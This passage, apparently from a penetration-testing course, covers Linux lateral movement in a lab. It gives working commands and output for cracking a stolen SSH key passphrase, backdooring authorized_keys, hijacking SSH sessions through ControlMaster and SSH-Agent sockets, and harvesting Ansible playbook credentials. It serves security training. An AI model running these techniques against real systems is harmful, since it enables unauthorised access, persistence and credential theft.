systems, the program asks the user to choose a passphrase to keep
unauthorized users from using the key. The user often chooses to
bypass this step with the Return key, inadvertently exposing the key
to unauthorized use.

There are a few ways to find out if our key is protected with a
passphrase. We could just try and use the key with an SSH client and
find out if we get a passphrase prompt, but this could trigger a log
or an alert.

A safer and more discreet alternative is to simply view the file
itself. We'll do that now.

root@linuxvictim:/home/linuxvictim# cat svuser.key 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,351CBB3ECC54B554DD07029E2C377380
...

Listing 3 - First few lines of
an passphrase-encrypted SSH key

In this case, the file contains "Proc-Type" and "DEK-Info"
headers. In this case, the "Proc-Type" header states that the key
is encrypted. The "DEK-Info" header states that the encryption type
is "AES-128-CBC". This tells us that the key is protected with a
passphrase.

Even though we have the key, it's not immediately obvious where to use
it. Inspecting the /etc/passwd file, we observe that there
is no svuser account, so it's not likely that the key is for this
machine.

One approach is to read the user's ~/.ssh/known_hosts file
to find machines that have been connected to recently. It's possible
we can connect to one of these other machines using the svuser key.

root@linuxvictim:/home/linuxvictim/.ssh# cat known_hosts 
|1|mi1rxMgRi2EjLJrnho0dY+rPbRw=|br04hDom/EK01Um6NvJIe7e688I= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDY+XpA06WG/ohtJ0cqRa6YSKD03CSYIod9zmauN89SBAPD9hMG0E6BN8MN7mXrXvHMRihk578XX5ToaWszhLZI=

Listing 4 - Known hosts entries
are hashed

Unfortunately, in our case, the system has the HashKnownHosts
setting enabled in /etc/ssh/ssh_config, so entries in the
known_hosts file are hashed. Reading the file does not give
us any useful information.

Another easy option is checking the user's ~/.bash_history
file. The .bash_history file shows the terminal commands that
the user has typed in over time.

root@linuxvictim:/home/linuxvictim# tail .bash_history 
exit
ssh -i ./svuser.key svuser@controller
cd /home/linuxvictim
ls
ls -al
cd .ssh
ls -al
cat known_hosts 
clear
exit

Listing 5 - Checking the bash history
file

In this case, we find that they connected to the controller server
using the svuser account and the key we found.

We'll use the host command to determine the IP address of the
controller machine.

root@linuxvictim:/home/linuxvictim# host controller
controller has address 192.168.120.40

Listing 6 - Determining the controller's IP address

The fact that the key has a passphrase is an obstacle for us, as it
makes it more difficult to steal and use the key. However, in this
case, the passphrase check is done on the client side. This means we
can try and crack the passphrase offline.

To do this, we first copy the key file over to our Kali VM.

We have a few options to crack the passphrase. We could use
Hashcat,[787] which can use the GPU to speed up processing, but
in this case, we'll use John the Ripper (JTR).

To use JTR, we need to convert our stolen passphrase-encrypted private
key to a format that the tool will recognize. To do that we can use
the SSH2John utility that comes with JTR. In Kali, SSH2John is
located at /usr/share/john/ssh2john.py.

To convert the key file, we provide the key file name as an argument
and redirect the output to a new file.

kali@kali:~$ python /usr/share/john/ssh2john.py svuser.key > svuser.hash

Listing 7 - Converting our SSH
key to a JTR-compatible format

Now that our key is ready, we need to decide on a good wordlist.
There are many approaches to choosing appropriate wordlists,
but for sake of simplicity, we'll start with the commonly-used
rockyou.txt wordlist, which can be found in Kali in the
/usr/share/wordlists/ directory.

We can now run JTR on the file with the --wordlist option to
crack the passphrase.

kali@kali:~$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt ./svuser.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
...

Listing 8 - Cracking the passphrase

After a bit of time, JTR reports that it successfully discovered the
passphrase, which is "spongebob".

...
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob        (svuser.key)

Listing 9 - Discovering the
passphrase

SSH clients typically require private keys to have permissions of
600 before being used to connect to a remote server.

Now that we know the passphrase, let's attempt to connect to the
controller VM from the SSH session we have on the linuxvictim server.
This will help avoid setting off any alerts, which we might encounter
if connecting directly from our Kali VM. After specifying the
svuser.key file as our private key, we can enter "spongebob"
when prompted for our passphrase.

linuxvictim@linuxvictim:~$ ssh -i ./svuser.key svuser@controller
Enter passphrase for key './svuser.key': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-20-generic x86_64)
...
Last login: Fri May 15 10:57:13 2020 from 192.168.119.120
svuser@controller:~$

Listing 10 - Connected successfully
using our stolen key

This time, we are successfully connected to the target.

SSH Persistence

Aside from stealing a user's private keys to facilitate access
to other systems, another useful tactic is to insert our public
key into a user's ~/.ssh/authorized_keys file. The
authorized_keys file is a list of all of the public keys
permitted to access the user's account on the current machine. Adding
our public key to a user's authorized_keys file will allow us
to access the machine again via SSH later on.

Normally, we might copy public keys from a remote system with
ssh-copy-id,[788] which requires authentication. However,
if we have write access, we could simply append a new line to
authorized_keys. Note that most Linux systems require 644 permissions
on authorized_keys, which means we that only the file owner
and root can write to the file.

Let's take a look at the linuxvictim machine in the lab. If we've
gained access as the linuxvictim user or root, we can add an SSH
public key to linuxvictim's authorized_keys file to maintain
access. To do that, we'll first need to create an SSH keypair on our
Kali VM.

We can set up an SSH keypair on our Kali VM with ssh-keygen.

kali@kali:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kali/.ssh/id_rsa.
Your public key has been saved in /home/kali/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:VTLfYd2shCqYOTkpZqeHRrqxnKjyVViNgbmVMpKyEug root@kali
The key's randomart image is:
+---[RSA 2048]----+
|.  . o..  o ..oo.|
|+ o = o+   =.o..+|
|.+ . =o*. ...... |
|oE  *oX ...   .  |
|.  =.=.oS.       |
|  o +..          |
| o *..           |
|o =.             |
|+..              |
+----[SHA256]-----+

Listing 11 - Generating an SSH
keypair

If we accept the default values for the file path, it will create
a pair of files in our ~/.ssh/ directory. We will get
id_rsa for the private key and id_rsa.pub
for the public key. We can then cat the contents of
id_rsa.pub and copy it to the clipboard.

On the linuxvictim machine, we can insert the public key into the
linuxvictim user's authorized_keys file with the following
command.

linuxvictim@linuxvictim:~$ echo "ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali" >> /home/linuxvictim/.ssh/authorized_keys

Listing 12 - Inserting the public key

We can then ssh from our Kali VM using our private key to
the linuxvictim machine and log in as the linuxvictim user without
a password. If we don't specify an SSH private key to use, the SSH
client will use the one in ~/.ssh/id_rsa.

kali@kali:~$ ssh linuxvictim@linuxvictim
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-20-generic x86_64)
...
linuxvictim@linuxvictim:~$ 

Listing 13 - SSHing to
linuxvictim using our inserted key

Backdooring authorized_keys files, stealing unprotected SSH
keys, and brute forcing SSH passphrases are all useful tactics to use
in a penetration test. In the next section, we'll discuss some more
advanced ways to abuse SSH.

Exercises

  1. Generate a private keypair with a passphrase on your Kali VM. Try
    to crack the passphrase using JTR.
  2. Generate a private keypair on your Kali VM and insert your public
    key in the linuxvictim user's authorized_keys file on the
    linuxvictim host and then SSH to it.

SSH Hijacking with ControlMaster

In this section we'll discuss the SSH hijacking[789] attack, which is especially effective for lateral movement. This approach is similar to
taking over an existing RDP session on Windows.

The term SSH hijacking refers to the use of an existing SSH connection
to gain access to another machine. Two of the most common methods of
SSH hijacking use the ControlMaster[790] feature or the
ssh-agent.[791]

ControlMaster is a feature that enables sharing of multiple SSH
sessions over a single network connection. This functionality can be
enabled for a given user by editing their local SSH configuration file
(~/.ssh/config).

This file can be created or modified by users with elevated privileges
or write access to the user's home folder. By doing so, a malicious
actor can create an attack vector when there wasn't one originally, by
enabling ControlMaster functionality for an unwitting user.

Let's examine this scenario in detail. We'll begin by logging
in as the offsec user to the controller VM, simulating an
attacker gaining shell access to that account. Next, we'll create a
ControlMaster configuration for the offsec user. We'll then simulate
a legitimate user logged in as offsec on the same machine connecting
into a downstream server and hijack that connection.

We'll start by logging in to our Linux controller machine as the
offsec user, and create the ~/.ssh/config file, with the
following content:

Host *
        ControlPath ~/.ssh/controlmaster/%r@%h:%p
        ControlMaster auto
        ControlPersist 10m

Listing 14 - ControlMaster
config entry for SSH

Let's examine this file in more detail.

Although it is possible to configure ControlPath settings for a
specific host, the above configuration entry's first line specifies
that the configuration is being set for all hosts (*).

The ControlPath entry in our example specifies that the ControlMaster
socket file should be placed in ~/.ssh/controlmaster/ with
the name remoteusername\@\<targethost\:<port>.
This assumes that the specified controlmaster folder actually
exists.

The ControlMaster line identifies that any new connections will
attempt to use existing ControlMaster sockets when possible. When
those are unavailable, it will start a new connection.

ControlPersist can either be set to "yes" or to a specified time. If
it is set to "yes", the socket stays open indefinitely. Alternatively,
it will accept new connections for a specified amount of time after
the last connection has terminated. In the above configuration, the
socket will remain open for 10 minutes after the last connection and
then it will close.

These ControlMaster settings can also be placed
in /etc/ssh/ssh_config to configure ControlMaster at a system-wide
level.

The number of available concurrent connections for SSH using this
method defaults to 10 as set in the MaxSessions[792]
variable in /etc/ssh/ssh_config,[793] but may vary on
different systems depending on how they are configured.

Before moving forward, we'll set the correct permission on the
configuration file.

offsec@controller:~$ chmod 644 ~/.ssh/config

Listing 15 - Setting the
ControlMaster config file permissions

Once we've done that, we will create the required
~/.ssh/controlmaster/ directory.

offsec@controller:~$ mkdir ~/.ssh/controlmaster

Listing 16 - Creating the
controlmaster socket directory

Next, to simulate our victim connecting to a downstream server, we'll
SSH to the controller VM as the legitimate offsec user. We'll then SSH
from the controller VM to the linuxvictim VM in the same session.

Note that we need to provide a password for this last connection.
The offsec user on this VM doesn't have its public key stored in an
authorized_keys file on the linuxvictim host at this time.

Once the connection is established, we'll move back to the
offsec attacker session. We should be able to find a socket file
in ~/.ssh/controlmaster/ on the controller VM called
offsec@linuxvictim:22.

offsec@controller:~$ ls -al ~/.ssh/controlmaster/
total 8
drwxrwxr-x 2 offsec offsec 4096 May 13 13:55 .
drwx------ 3 offsec offsec 4096 May 13 13:55 ..
srw------- 1 offsec offsec    0 May 13 13:55 offsec@linuxvictim:22

Listing 17 - ControlMaster socket

This socket file represents the legitimate SSH session to the
downstream server and, for the sake of clarity, we'll call it "Victim
Session".

At this point, as an attacker, if we simply SSH to the server listed
in the victim's socket file, we will not be prompted for a password
and are given direct access to the linuxvictim machine via SSH.

offsec@controller:~$ ssh offsec@linuxvictim
Last login: Wed May 13 16:11:26 2020 from 192.168.120.40
offsec@linuxvictim:~$ 

Listing 18 - Hijacking as the same user with an open socket

We're now logged in on the linuxvictim machine without having been
required to enter a password, effectively "piggybacking" an active
legitimate connection to the same machine.

Now that we've demonstrated the first scenario, we'll close the
attacker SSH session as the offsec user, while leaving the "Victim
Session" open.

In the second scenario, we're logged in as a root user (or someone
with sudo privileges). In this case, we return to our Kali VM and
this time, we'll log in to the controller VM as root instead of
offsec. From here, we can hijack the open SSH socket using the SSH
client's -S parameter, which specifies a socket.

root@controller:~# ls -al /home/offsec/.ssh/controlmaster
total 8
drwxrwxr-x 2 offsec offsec 4096 May 13 16:22 .
drwx------ 3 offsec offsec 4096 May 13 13:55 ..
srw------- 1 offsec offsec    0 May 13 16:22 offsec@linuxvictim:22

root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim
Last login: Wed May 13 16:22:08 2020 from 192.168.120.40
offsec@linuxvictim:~$ 

Listing 19 - Hijacking as root with an open socket

Once again, we're able to log in to the linuxvictim machine without
being required to enter a password.

SSH Hijacking Using SSH-Agent and SSH Agent Forwarding

Now that we've covered SSH hijacking with ControlMaster, let's move on
to another technique. This method of SSH hijacking revolves around the
use of SSH-Agent and SSH Agent Forwarding.

SSH-Agent is a utility that keeps track of a user's private keys and
allows them to be used without having to repeat their passphrases on
every connection.

SSH agent forwarding is a mechanism that allows a user to use the
SSH-Agent on an intermediate server as if it were their own local
agent on their originating machine. This is useful in situations
where a user might need to ssh from an intermediate host into
another network segment, which can't be directly accessed from the
originating machine. It has the advantage of not requiring the private
key to be stored on the intermediate server and the user does not need
to enter their passphrase more than once.

This works by passing the SSH key response requests from the remote
destination servers back through the SSH-Agent on the intermediate
hosts to the originating client's SSH Agent for key validation.

To demonstrate this concept, we'll cover an attack scenario where
a user connects to an intermediate server and then to a subsequent
remote server using SSH agent forwarding. Then we'll discuss how we
can exploit this connection.

To use an SSH-Agent, there needs to be an SSH keypair set up on the
originating machine. This can be done with ssh-keygen as we
covered earlier, ensuring we set a passphrase.

For our SSH connections to work using SSH-Agent forwarding, we need
to have our public key installed on both the intermediate server and
the destination server. In our case, the intermediate server will be
the controller machine and the destination server will be linuxvictim.
We can copy our key to both of them using the ssh-copy-id
command from our Kali VM, specifying our public key with the
-i flag.

kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller

kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim

Listing 20 - Copying our SSH keys
to the servers

Additionally, we need to set our local SSH config file in
~/.ssh/config on our Kali VM to have the following line.

ForwardAgent yes

Listing 21 - Enabling agent
forwarding on client machine

This tells the SSH client we're connecting from to enable agent
forwarding for connections.

Next, on the intermediate server, which in our case is
the controller, we need to have the following line set in
/etc/ssh/sshd_config.

AllowAgentForwarding yes

Listing 22 - Allowing
agent forwarding on intermediate server

This allows the intermediate server to forward key challenges back to
the originating client's SSH agent.

SSH-Agent is automatically set to run on many Linux distributions, but
we'll need to start it manually on our Kali VM.

kali@kali:~$ eval `ssh-agent`

Listing 23 - Running SSH-Agent
manually

We can now add our keys to the SSH-Agent on our Kali VM using
ssh-add. If we just want to use the key that is in the default
key location (~/.ssh/id_rsa), we don't need to specify any
parameters. Alternatively, we can add the path to the key file we want
to use immediately after the command. In our case, since our key is in
the default location, we can just run ssh-add.

kali@kali:~$ ssh-add
Enter passphrase for /home/kali/.ssh/id_rsa: 
Identity added: /home/kali/.ssh/id_rsa (kali@kali)

Listing 24 - Running ssh-add

Now that our key is registered with the agent, all we need to do to
connect to the downstream server is a pair of ssh commands.
We'll first ssh to the controller and then from there to the
linuxvictim host.

kali@kali:~$ ssh offsec@controller
Enter passphrase for key '/home/kali/.ssh/id_rsa':

offsec@controller:~$ ssh offsec@linuxvictim

offsec@linuxvictim:~$ 

Listing 25 - SSHing through an
intermediate server

Note that we'll need to type our private key passphrase for the first
connection so that the SSH-Agent can keep track of it.

Now that we know how to use SSH agent forwarding normally, let's
discuss how to exploit it. We'll talk about two scenarios as we
did with the ControlMaster example. We'll cover a case where we
compromised an unprivileged user who has an open SSH session on
the intermediate server and then the same scenario but with root
privileges.

Let's discuss the first scenario where we have compromised the account
of a user who is logged in to the intermediate server. With our
previous ControlMaster exploitation, we were restricted to connecting
to downstream servers that the user had an existing open connection
to. With SSH agent forwarding, we don't have this restriction. Since
the intermediate system acts as if we already have the user's SSH keys
available, we can SSH to any downstream server the compromised user's
private key has access to.

To exploit this, the compromised user needs to have an active SSH
connection to the intermediate server. We'll simulate this by closing
the previous shell to the linuxvictim box opened from the controller
machine, but we'll leave the connection to the intermediate server
open. This will act as the victim SSH offsec user session. Next,
to simulate the attacker connection, we'll open a shell to the
intermediate server using password authentication as the offsec
user, and from there, we will ssh to the linuxvictim machine.

Note that in the attacker session, we'll ssh to the intermediate
box from a root kali shell to make sure that we are not leveraging the
key pair we have in the kali home folder for authenticating with the
intermediate server. In a real scenario, the attacker connection to
the intermediate server would be performed from a different box.

root@kali:~# ssh offsec@controller

offsec@controller:~$ ssh offsec@linuxvictim

offsec@linuxvictim:~$ 

Listing 26 - SSHing through an
intermediate server

Excellent! SSH-Agent forwarding did its magic and we were able to
access the downstream linuxvictim box through SSH key authentication
even if we are not in possession of such keys.

However, there may be a case where we don't want to be logged in as
the user whose SSH session is currently open. We may, for example,
want to avoid adding artifacts to the logs related to that user.

The SSH-Agent mechanism creates an open socket[794] file on
the intermediate server that can be accessed by users with elevated
permissions. If we've compromised an account with root level access
on the intermediate server, we can leverage the victim user's open
socket directly.

Note that both of these scenarios require the victim user to have
an open SSH connection to the intermediate server.

To demonstrate this, we'll leave our earlier offsec user's SSH
connection to the controller server VM open. We'll then create a new
SSH session from our Kali VM to the controller with the root user to
simulate the attacker shell access.

As an attacker logged in to the root account on the controller, we
first need to find the user's open SSH-Agent socket. We can get a
list of SSH connections using ps aux.

root@controller:~# ps aux | grep ssh
root      8106  0.0  0.1  72300  3976 ?        Ss   09:20   0:00 /usr/sbin/sshd -D
root      8249  0.0  0.1 107984  3944 ?        Ss   09:59   0:00 sshd: root@pts/2
root     15147  0.0  0.3 107984  7192 ?        Ss   11:14   0:00 sshd: offsec [priv]
offsec   15228  0.0  0.1 107984  3468 ?        S    11:14   0:00 sshd: offsec@pts/0
root     16298  0.0  0.3 107984  7244 ?        Ss   11:31   0:00 sshd: offsec [priv]
offsec   16380  0.0  0.1 107984  3336 ?        S    11:31   0:00 sshd: offsec@pts/1
root     16391  0.0  0.3 107984  7276 ?        Ss   11:31   0:00 sshd: root@pts/3
root     16488  0.0  0.0  14428  1088 pts/3    S+   11:31   0:00 grep --color=auto ssh
root@controller:~# 

Listing 27 - Finding user SSH
connections via ps

If we inspect processes with "ssh" in the name, we will find any
open connections from the host. We can use the usernames listed in
these connections with the pstree command to get the process
ID (PID) values for the SSH processes.

root@controller:~# pstree -p offsec | grep ssh
sshd(15228)---bash(15229)---su(15241)---bash(15242)
sshd(16380)---bash(16381)
root@controller:~#

Listing 28 - Finding PIDs using
pstree

We'll try using the PID highlighted in the final line of the output
above, which seems to indicate a bash session. We can cat
the contents of the PID's environment file and search for a variable
called SSH_AUTH_SOCK.

root@controller:~# cat /proc/16381/environ
LANG=en_US.UTF-8USER=offsecLOGNAME=offsecHOME=/home/offsecPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/gamesMAIL=/var/mail/offsecSHELL=/bin/bashSSH_CLIENT=192.168.119.120 49916 22SSH_CONNECTION=192.168.119.120 49916 192.168.120.40 22SSH_TTY=/dev/pts/1TERM=xterm-256colorXDG_SESSION_ID=29XDG_RUNTIME_DIR=/run/user/1000SSH_AUTH_SOCK=/tmp/ssh-7OgTFiQJhL/agent.16380
root@controller:~# 

Listing 29 - SSH process
environment file

This variable lets SSH-Agent know where its socket file is located.

In Listing 29,
we found the SSH auth socket was located at
SSH_AUTH_SOCK=/tmp/ssh-7OgTFiQJhL/agent.16380.

As an elevated user, we can use the victim's SSH agent socket file as
if it were our own.

root@controller:~# SSH_AUTH_SOCK=/tmp/ssh-7OgTFiQJhL/agent.16380 ssh-add -l
3072 SHA256:6cyHlr9fISx9kcgR9+1crO1Hnc+nVw0mnmQ/Em5KSfo kali@kali (RSA)

root@controller:~# SSH_AUTH_SOCK=/tmp/ssh-7OgTFiQJhL/agent.16380 ssh offsec@linuxvictim
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-20-generic x86_64)
...
Last login: Thu Jul 30 11:14:26 2020 from 192.168.120.40
offsec@linuxvictim:~$

Listing 30 - Using the victim's SSH agent socket as our own

The first command sets our current privileged user's SSH_AUTH_SOCK
environment variable to the open SSH socket of our victim. We then use
ssh-add -l to show that the key is in our SSH Agent cache.

In the second command, we re-set the environment variable for the
socket and then are able to ssh to the linuxvictim host as
the victim user.

SSH hijacking can be a useful tool for lateral movement within a
network. In the next section, we'll inspect an infrastructure tool
commonly used to configure Linux systems and learn how it can be used
for lateral movement.

Exercises

  1. Reproduce ControlMaster hijacking in the lab.
  2. Reproduce SSH-Agent forwarding hijacking in the lab.

DevOps

DevOps[783-1] is an overall strategy used to promote consistency and
automation. In particular, Devops applies to management of software
builds, system changes, and infrastructure modifications. While a
thorough exploration of DevOps is outside the scope of this module,
it is helpful to recognize this trend toward increasing and improving
process automation in modern companies.

DevOps technologies make traditional infrastructure and configuration
tasks much more streamlined and efficient. They can quickly make
configuration changes or system deployments that would have taken much
more time. In some cases, these deployments are nearly instantaneous.

Due to the automated nature of these systems and the impact they can
have on system output or corporate infrastructure, they can be useful
to an attacker who wants to traverse internal networks.

DevOps mechanisms' inherent purpose is reconfiguring systems,
especially by means of elevated privileges. This makes them a valuable
target for exploitation.

There are many systems available that perform these sorts of
functions. Puppet[795] and Chef[796] are both popular, but
in this module we will take a closer look at Ansible,[797]
which we've frequently encountered in penetration testing engagements.

Introduction to Ansible

Ansible is an infrastructure configuration engine that enables IT
personnel to dynamically and automatically configure IT infrastructure
and computing resources. It works through a "push" model where the
Ansible controller connects to registered "nodes" and runs "modules"
on them.

Ansible modules[798] are specialized Python scripts
that are transported to the nodes by Ansible and then run to
perform certain actions. This can be anything from gathering data to
configuring settings or running commands and applications. After the
scripts are run, artifacts from running the scripts are deleted and
any data gathered by the script is returned to the controller.

In order for a machine to be set up as a node for an
Ansible controller, it needs to be part of the Ansible
inventory[799] on the controller server, normally
located at /etc/ansible/hosts. Servers in the inventory can
be grouped so that certain actions can be performed on some groups but
not others.

For actions to be performed on the node, either the password for
a user on the node needs to be stored on the controller, or the
controller's Ansible account needs to be configured on the node using
SSH keys. This allows the controller to connect to the node via SSH or
other means and run the desired modules.

Because the Ansible server needs elevated privileges to perform
certain tasks on the end node, the user configured by Ansible
typically has root or sudo-level permissions.[800]
Because of this, compromising the Ansible server or getting the
private key for an Ansible configuration account could allow complete
compromise of any nodes in the Ansible controller's inventory.

Before we learn how to exploit Ansible, let's spend a little time
learning about its intended use. In the lab, we'll use the controller
and linuxvictim machines to demonstrate these concepts. They will
perform the roles of the Ansible controller and node respectively.

The ansibleadm user on the controller issues commands. The same
account exists on the victim node. This account on the victim has
the public key for the controller's ansibleadm user set in its
authorizedkeys file to allow access. This user has _sudo
rights on the node to be able to perform privileged actions.

We can find the host inventory on the controller at
/etc/ansible/hosts.

offsec@controller:~$ cat /etc/ansible/hosts
...
[victims]
linuxvictim

Listing 31 - The Ansible inventory on our
lab controller

If we examine it, we find that it consists of only one host, the
linuxvictim machine as part of a group called "victims".

Enumerating Ansible

Now that we've covered Ansible's intended use cases, let's shift our
perspective to that of an attacker. The first thing we need to do is
determine whether or not Ansible is in use on our target system.

The quickest way to do this is to run the ansible command.

offsec@controller:~$ ansible
usage: ansible [-h] [--version] [-v] [-b] [--become-method BECOME_METHOD]
               [--become-user BECOME_USER] [-K] [-i INVENTORY] [--list-hosts]
...

Listing 32 - Checking for Ansible on the target

Some other indicators would be the existence of an
/etc/ansible filepath, which contains Ansible configuration
files, or the presence of "ansible" related usernames in
/etc/passwd.

These clues would exist on an Ansible controller system. To identify
whether a machine we're on is an Ansible node instead, it can
be useful to examine the list of users in /etc/passwd
for Ansible-related usernames. We may also be able to identify
Ansible nodes. First, we could examine the list of users in
/etc/passwd for Ansible-related usernames.

We might also check for the list of home folders, which may give away
whether a user account exists for performing Ansible actions. Finally,
it may also be possible to detect Ansible-related log messages in the
system's syslog file.

Now that we know Ansible is installed on the target, let's explore a
few different attack vectors.

Ad-hoc Commands

Node actions can be initiated from an Ansible controller in two
primary ways. The first is through ad-hoc commands,[801] and
the second involves the use of playbooks.[802] Let's
begin with ad-hoc commands.

Ad-hoc commands are simple shell commands to be run on all, or a
subset, of machines in the Ansible inventory. They're called "ad-hoc"
because they're not part of a playbook (which scripts actions to be
repeated). Typically, ad-hoc commands would be for one-off situations
where we would want to run a command on multiple servers.

To find out how a command behaves outside of an attack scenario, let's
run an ad-hoc command on our linuxvictim machine as ansibleadm using
the following on the controller.

ansibleadm@controller:~$ ansible victims -a "whoami"
...
linuxvictim | CHANGED | rc=0 >>
ansibleadm

Listing 33 - Ad-hoc command

The above command ran whoami on all members of the victims
group, which, in our case, is limited to only the linuxvictim machine.
The command returned the result, which is "ansibleadm".

If we wanted to run a command as root or a different user, we can
use the --become parameter. Without a value, this defaults
to root, but we could specify a user if we want.

ansibleadm@controller:~$ ansible victims -a "whoami" --become
...
linuxvictim | CHANGED | rc=0 >>
root

Listing 34 - Ad-hoc command as root

In Listing 34, our command ran as root
on the victim machine.

The potential of this attack vector is devastating. If we can gain
privileges to run ad-hoc commands from the Ansible controller, we
have backdoor root access to run commands on any of the hosts in the
inventory file (under most common configurations).

Ansible Playbooks

Now that we've learned how Ad-hoc commands work, let's move on to a
more common method, which will take advantage of Ansible playbooks.
As before, we'll first take a look at how playbooks are intended to
function and then discuss how to exploit them.

Playbooks allow sets of tasks to be scripted so they can be run
routinely at points in time. This is useful for combining various
setup tasks, such as adding user accounts and settings to a new
server or updating large numbers of machines at once.

Although it is quite common to run playbooks with elevated
privileges, it is not always necessary. Security-aware administrators
will set up dedicated users for Ansible tasks and limit their access
to only what they need.

Playbooks are written using the YAML[803] markup
language. Let's try a simple playbook on our controller.
In /opt/playbooks/, we'll create a file called
getinfo.yml with the following contents.

---
- name: Get system info
  hosts: all
  gather_facts: true
  tasks:
    - name: Display info
      debug:
          msg: "The hostname is {{ ansible_hostname }} and the OS is {{ ansible_distribution }}"

Listing 35 - A simple playbook

The name value just gives a name to the playbook being run, and
hosts specifies which hosts from the inventory this playbook should
be run on. We can specify groups, individual hosts, or "all".

The gather_facts value will gather information, or "facts", about
the machine.[804] These facts are returned in a JSON format,
then parsed by the controller to be used during processing of the
playbook.

This process fills the {{ansible_hostname}} and
{{ansible-distribution}} variables in our output. Both variables are
the results of the initial fact-gathering process.

The tasks line specifies a new task to be performed, labeled
with a name. The task also has a msg value containing a string
with our output to be displayed when the task is run.

A task is just a call to an Ansible module. The Ansible
documentation[798-1] contains a full list of available
modules. In our playbook above, we run the debug module and provide
a parameter of msg with a message to display.

We can run the playbook using the ansible-playbook command.

ansibleadm@controller:/opt/playbooks$ ansible-playbook getinfo.yml 

PLAY [Get system info] ***************************************************************

TASK [Gathering Facts] ***************************************************************
...
ok: [linuxvictim]

TASK [Display info] ******************************************************************
ok: [linuxvictim] => {
    "msg": "The hostname is linuxvictim and the OS is Ubuntu"
}



PLAY RECAP ***************************************************************************
linuxvictim             : ok=2    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0   

Listing 36 - Running the first playbook

The playbook was run on the victim system and was able to retrieve the
victim's hostname and Linux distribution type.

Playbooks can also include a "become: yes" line if we want the scripts
to be run as root. Alternatively, we can include a username if we
want to run as someone else.

Playbooks are used more frequently than ad-hoc commands because
they allow sysadmins to script tasks they would want to repeat more
than once. Ad-hoc commands are useful for one-off actions, but if a
sysadmin wishes to reconfigure systems the same way multiple times,
run multiple tasks on the same sets of machines, or gather specific
sets of information from different machines at different times,
playbooks can be very handy.

Exploiting Playbooks for Ansible Credentials

We've discussed normal practice for Ansible, but as attackers, our
attention is on the potential exploit. Of course, if we have root
access or access to the Ansible administrator account on the Ansible
controller, we can run ad-hoc commands or playbooks as the Ansible
user on all nodes, typically with elevated or root access.

In addition, if Ansible is set up to use SSH for authentication to
nodes, we could steal the Ansible administrator user's private key
from their home folder and log in to the nodes directly. All of these
are options if we're already root on the controller.

This, of course, assumes there isn't a strong passphrase set
for the keys. Often the private keys used by Ansible do not contain
passphrases as Ansible configuration is intended to be run in an
automated fashion.

Unfortunately, these methods require root (or Ansible admin account)
access, which we might not have. Let's explore additional options
available to us as a non-root user.

If stored playbooks on the controller are in a world-readable location
or we have access to the folder they're stored in, we can search for
hardcoded credentials.

In some cases, it may be necessary or desirable for an administrator
to avoid configuring a public key on a node machine. In this case,
it's possible for the administrator to run commands on the node using
SSH usernames and passwords instead.

In the following example, in our controller VM, the administrator
of our Ansible controller wanted to create a file in the linuxvictim
machine, but they needed to authenticate to the system as the offsec
user.

In our lab environment, the victim machine does have an SSH key
set up (for the ansibleadm user), but for demonstration purposes,
we'll pretend it doesn't and perform our actions as the offsec
user.

This user does not have the ansibleadm user's key in its
authorizedkeys file and so the sysadmin needed to use the
_offsec
user's username and password to authenticate.

To do this, the administrator hardcoded the offsec user's
credentials in the playbook, located in
/opt/playbooks/writefile.yaml.

---
- name: Write a file as offsec
  hosts: all
  gather_facts: true
  become: yes
  become_user: offsec
  vars:
    ansible_become_pass: lab
  tasks:
    - copy:
          content: "This is my offsec content"
          dest: "/home/offsec/written_by_ansible.txt"
          mode: 0644
          owner: offsec
          group: offsec

Listing 37 - Hardcoded ansible
credentials

The credentials are stored in the highlighted line above with the
keyword ansible_become_pass. The above script indicates that
the user that the script is becoming (in this case offsec) has a
password of "lab".

We can run the playbook and verify that the file is written.

ansibleadm@controller:/opt/playbooks$ ansible-playbook writefile.yaml 

PLAY [Write a file as offsec] ****************************************************************

TASK [Gathering Facts] ***********************************************************************
ok: [linuxvictim]

TASK [copy] **********************************************************************************
changed: [linuxvictim]

PLAY RECAP ***********************************************************************************
linuxvictim                : ok=2    changed=1    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0

Listing 38 - Running the playbook

If we don't have access to run ansible-playbook but
have read access to playbooks, we may be able to harvest sensitive
credentials and compromise nodes used by Ansible.

Ansible does have newer features such as Ansible
Vault
,[805] which allows for secure storage of credentials
for use in playbooks. Ansible Vault allows the user to encrypt or
decrypt files or strings using a password.

On our controller VM, we find another playbook called
/opt/playbooks/writefilevault.yaml. If we examine the
contents, there is a different password type listed.

ansible_become_pass: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          39363631613935326235383232616639613231303638653761666165336131313965663033313232
          3736626166356263323964366533656633313230323964300a323838373031393362316534343863
          36623435623638373636626237333163336263623737383532663763613534313134643730643532
          3132313130313534300a383762366333303666363165383962356335383662643765313832663238
          3036

Listing 39 - Encrypted vault password string

The !vault keyword lets Ansible know that the value is
vault-encrypted. As an attacker, we can copy the section of the
encrypted payload above starting with "$ANSIBLE_VAULT" and attempt to
crack it offline.

Let's copy the value above and put it into a text file called
test.yml on our Kali VM. Again, in order to crack
the password, we need to convert it to a format that John
the Ripper or Hashcat can use. To do that, we can use the
